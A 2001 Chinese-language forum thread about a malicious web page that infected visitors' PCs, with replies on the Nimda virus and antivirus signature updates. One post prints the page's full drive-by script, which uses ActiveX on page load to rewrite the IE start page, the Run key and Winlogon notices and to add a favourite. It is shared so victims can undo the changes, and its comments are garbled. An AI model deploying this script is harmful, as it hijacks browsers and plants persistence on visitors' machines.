|
||
|
Advance Member
  加入日期: Jul 2001
文章: 445
|
更...爛網頁, 擺明是放病毒給人抓
 害我朋友家的那台電腦得要系統還原後才能用, 這樣也讓我更不相信IE了, 一定要找套更好的把它換掉 |
|||||||
2001-09-22, 09:47 AM
#21
|
|
|
Major Member
 加入日期: Sep 2001 您的住址: 台灣南部
文章: 114
|
引用:
現在還有娜旦病毒在肆虐,尤其對win2000最為嚴重 |
|||
|
2001-09-22, 01:22 PM
#22
|
|
|
Advance Member
加入日期: May 2001
文章: 426
|
http://go1.163.com/bandianxin/
這是我連到上述網頁所出現的畫面...........
 應該是有毒沒錯.... |
|
2001-09-22, 02:06 PM
#23
|
|
|
Amateur Member
 加入日期: Sep 2001
文章: 31
|
那個網站的所謂"病毒"就是下列 script ,應該是沒啥毒啦,只是會改機碼,首頁改成他的站,一開機就跳出訊息為他的站的****,並開啟瀏覽器進入該站.....(不知何時網業的script的權限已大到如此程度...),至於下載的東東有沒有毒小弟就不知道了(沒多的硬碟跟他玩..)
p.s 中獎者可參考下列語法後自行修復被修改的機碼(有點煩就是了...) 另外Pc-cillin2000好像不把它當毒來看,Norton卻會. \\小弟才學疏淺,有錯煩請見諒// 那個站長"駭人不淺" 的功力原始碼 <SCRIPT>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //ズ⻌active諷璃 function f(){ try { //場宎趙ActiveX 諷璃 a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); lou = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (document.cookie.indexOf("Chg") == -1) //潰脤cookie笢岆瘁衄chg腔趼睫揹 { var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //扢离銡擬け蘇＇翋珜 lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://bandianxin.home.sohu.com/"); //党蜊ぎ雄笢腔怀⻌楊ぎ雄砐 lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "http://bandianxin.home.sohu.com/"); //扢离蛁聊祥褫載蜊 lou.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD"); //樓⻌ぎ雄粟堤勤趕遺梓枙 lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "Microsoft芢熱厙桴"); //樓⻌ぎ雄粟堤勤趕遺囀⺍ lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ. http://up2001.6to23.com"); //載蜊銡擬け腔梓枙戲 lou.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.http://up2001.6to23.com"); lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.http://up2001.6to23.com"); //扢离Cookie var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //賦旰勤蛁聊桶腔紱釬 //參厙桴樓⻌善彶紲標笢 var WF, Shor, loc; WF = FSO.GetSpecialFolder(0); loc = WF + "\\Favorites"; if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; if(!FSO.FolderExists(loc)) { return; } } //潰聆岆祥眒冪湔婓 //⺼彆祥湔婓ㄛ樓⻌蟈諉 AddFavLnk(loc, "圉萸陑⻏璃狟婥", "http://up2001.6to23.com"); //賦旰 } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 40); //隅奀笭葩堍俴 } init(); </SCRIPT> |
|
2001-09-23, 04:43 AM
#24
|
|
|
Golden Member
加入日期: Sep 2001 您的住址: 雨港
文章: 3,096
|
引用:
據電視報導說,這種病毒會對個人用戶造成損害,在瀏覽網頁時就會中毒,害我現在都不太敢去上別的網站,都在這裡游泳. 我是駭客嗎?不不不,我不是''駭''人的''客'',而是被人''刻''意陷''害''的人. ---------------------------------- 螳螂捕蟬,黃雀在後,鹿死誰手,下回分解 ---------------------------------- 願上帝保佑迷途的羔羊們,帶領它們回到樂土伊甸園吧!!! |
|
|
2001-09-23, 07:46 AM
#25
|
|
|
Advance Member
加入日期: May 2001
文章: 426
|
不過之後掃毒倒是沒發現有中毒耶.....
|
|
2001-09-23, 07:55 AM
#26
|
|
|
Major Member
加入日期: Sep 2001 您的住址: 台灣南部
文章: 114
|
引用:
因為有即時掃描,所以若對已知的病毒會阻絕.可知現在防毒軟體做的很好,但病毒無所不侵 |
|
|
2001-09-23, 11:47 AM
#27
|
|
|
Major Member
加入日期: Sep 2001 您的住址: 台灣南部
文章: 114
|
引用:
更新病毒碼就不用怕了,如pcc的病毒碼要更新到942和掃描引擎5.20以上才可發現有無中毒及防毒,至於諾噸我則不知,但越新越好 像我一個同學他是920病毒碼及5.45的引擎也掃不到,但更新為942就發現敵人(病毒) |
|
|
2001-09-23, 11:50 AM
#28
|
|
